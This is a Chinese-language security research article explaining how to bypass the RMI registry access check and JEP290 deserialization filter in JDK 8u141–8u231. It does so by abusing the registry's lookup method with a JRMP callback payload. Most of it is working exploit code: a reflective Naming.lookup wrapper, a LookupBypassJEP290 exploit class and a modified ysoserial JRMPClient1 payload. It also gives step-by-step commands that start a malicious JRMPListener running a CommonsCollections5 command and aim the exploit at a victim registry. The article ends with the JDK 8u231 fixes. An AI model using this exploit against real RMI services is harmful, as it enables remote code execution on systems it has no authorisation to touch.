JAVA安全之JDK8u141版本绕过研究
字数 1095 2025-08-22 12:23:06
Java安全研究:JDK8u141版本绕过技术分析
1. 背景介绍
从JDK8u141开始,JEP290中针对RegistryImpl_Skel#dispatch中的bind、unbind、rebind操作增加了checkAccess检查,此项检查只允许来源为本地。
2. 安全机制分析
2.1 checkAccess机制
在JDK8u141中,RegistryImpl_Skel#dispatch方法增加了安全检查:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
ObjectInput var8;
ObjectInput var9;
Remote var80;
switch(var3) {
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var76) {
throw new MarshalException("error marshalling return", var76);
}
// 其他case省略...
}
}
}
checkAccess方法的具体实现:
public static void checkAccess(String var0) throws AccessException {
try {
final String var1 = getClientHost();
final InetAddress var2;
try {
var2 = (InetAddress)AccessController.doPrivileged(new PrivilegedExceptionAction<InetAddress>() {
public InetAddress run() throws UnknownHostException {
return InetAddress.getByName(var1);
}
});
} catch (PrivilegedActionException var5) {
throw (UnknownHostException)var5.getException();
}
if (allowedAccessCache.get(var2) == null) {
if (var2.isAnyLocalAddress()) {
throw new AccessException(var0 + " disallowed; origin unknown");
}
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
(new ServerSocket(0, 10, var2)).close();
RegistryImpl.allowedAccessCache.put(var2, var2);
return null;
}
});
} catch (PrivilegedActionException var4) {
throw new AccessException(var0 + " disallowed; origin " + var2 + " is non-local host");
}
}
} catch (ServerNotActiveException var6) {
} catch (UnknownHostException var7) {
throw new AccessException(var0 + " disallowed; origin is unknown host");
}
}
2.2 方法映射关系
在RMI通信中,RegistryImpl_Skel#dispatch方法的var3参数代表客户端发起连接的方法:
- 0 -> bind
- 1 -> list
- 2 -> lookup
- 3 -> rebind
- 4 -> unbind
3. 绕过技术分析
3.1 绕过思路
关键发现:
- 在
bind、rebind、unbind和lookup中都有反序列化操作 - 只有
lookup中没有调用checkAccess RegistryImpl_Stub#lookup方法只接受String参数,无法直接传递恶意对象
绕过方案:
- 利用
lookup方法(不检查来源)结合JRMP(绕过JEP290)来实施攻击
3.2 实现细节
3.2.1 自定义Naming类
package ysoserial.exploit;
import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;
public class Naming {
private Naming() {}
public static Remote lookup(Registry registry, Object obj) throws Exception {
RemoteRef ref = (RemoteRef)Reflections.getFieldValue(registry, "ref");
long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
java.rmi.server.Operation[] operations = (Operation[])Reflections.getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
// 反射修改enableReplace
Reflections.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // arm obj
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
if (e instanceof RemoteException | e instanceof ClassCastException){
return null;
} else {
throw e;
}
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}
}
3.2.2 LookupBypassJEP290实现
package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.JRMPClient1;
import ysoserial.secmgr.ExecCheckingSecurityManager;
public class LookupBypassJEP290 {
// SSL相关实现省略...
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Registry registry = LocateRegistry.getRegistry(host, port);
try {
registry.list();
} catch (ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
exploit(registry, command);
}
public static void exploit(final Registry registry, final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){
public Void call() throws Exception {
JRMPClient1 jrmpclient = new JRMPClient1();
Remote remote = jrmpclient.getObject(command);
try {
Naming.lookup(registry, remote);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
}
3.2.3 修改后的JRMPClient1
package ysoserial.payloads;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({"restriction"})
@PayloadTest(harness = "ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {
public Remote getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
Remote obj = new RemoteObjectInvocationHandler(ref);
return obj;
}
public static void main(final String[] args) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, args);
}
}
4. 实际利用流程
4.1 攻击步骤
-
启动恶意JRMPListener:
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc" -
受害者RMI服务示例:
package org.al1ex; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try { // 创建远程对象 HelloService helloService = new HelloServiceImpl(); // 创建RMI注册表 Registry registry = LocateRegistry.createRegistry(1099); registry.bind("HelloService", helloService); System.out.println("RMI Server is ready."); } catch (Exception e) { e.printStackTrace(); } } } -
发起攻击:
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 192.168.1.10 1099 192.168.1.16:1088
5. 修复措施
5.1 JDK8u231的修复
-
异常处理增强:
- 在
RegistryImpl_Skel#dispatch中的每个case都增加了ClassCastException处理 - 反序列化时会因为返回对象类型不是String而报错
- 调用
StreamRemoteCall#discardPendingRefs清除incomingRefTable属性的值
- 在
-
过滤器机制:
- 在
DGCImpl_Stub#dirty函数中增加了setObjectInputFilter leaseFilter方法严格限制反序列化类:private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) { if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) { return Status.REJECTED; } else { Class var1 = var0.serialClass(); if (var1 == null) { return Status.UNDECIDED; } else { while(var1.isArray()) { if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) { return Status.REJECTED; } var1 = var1.getComponentType(); } if (var1.isPrimitive()) { return Status.ALLOWED; } else { return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED; } } } }
- 在
6. 版本影响范围
-
JDK8u121~141:
- 可以直接利用UnicastRef链路进行绕过
-
JDK8u141~231:
- 需要结合CheckAccess的绕过与JRMP反序列化机制
-
JDK8u231及以上:
- 通过新增的过滤器和异常处理机制修复了此漏洞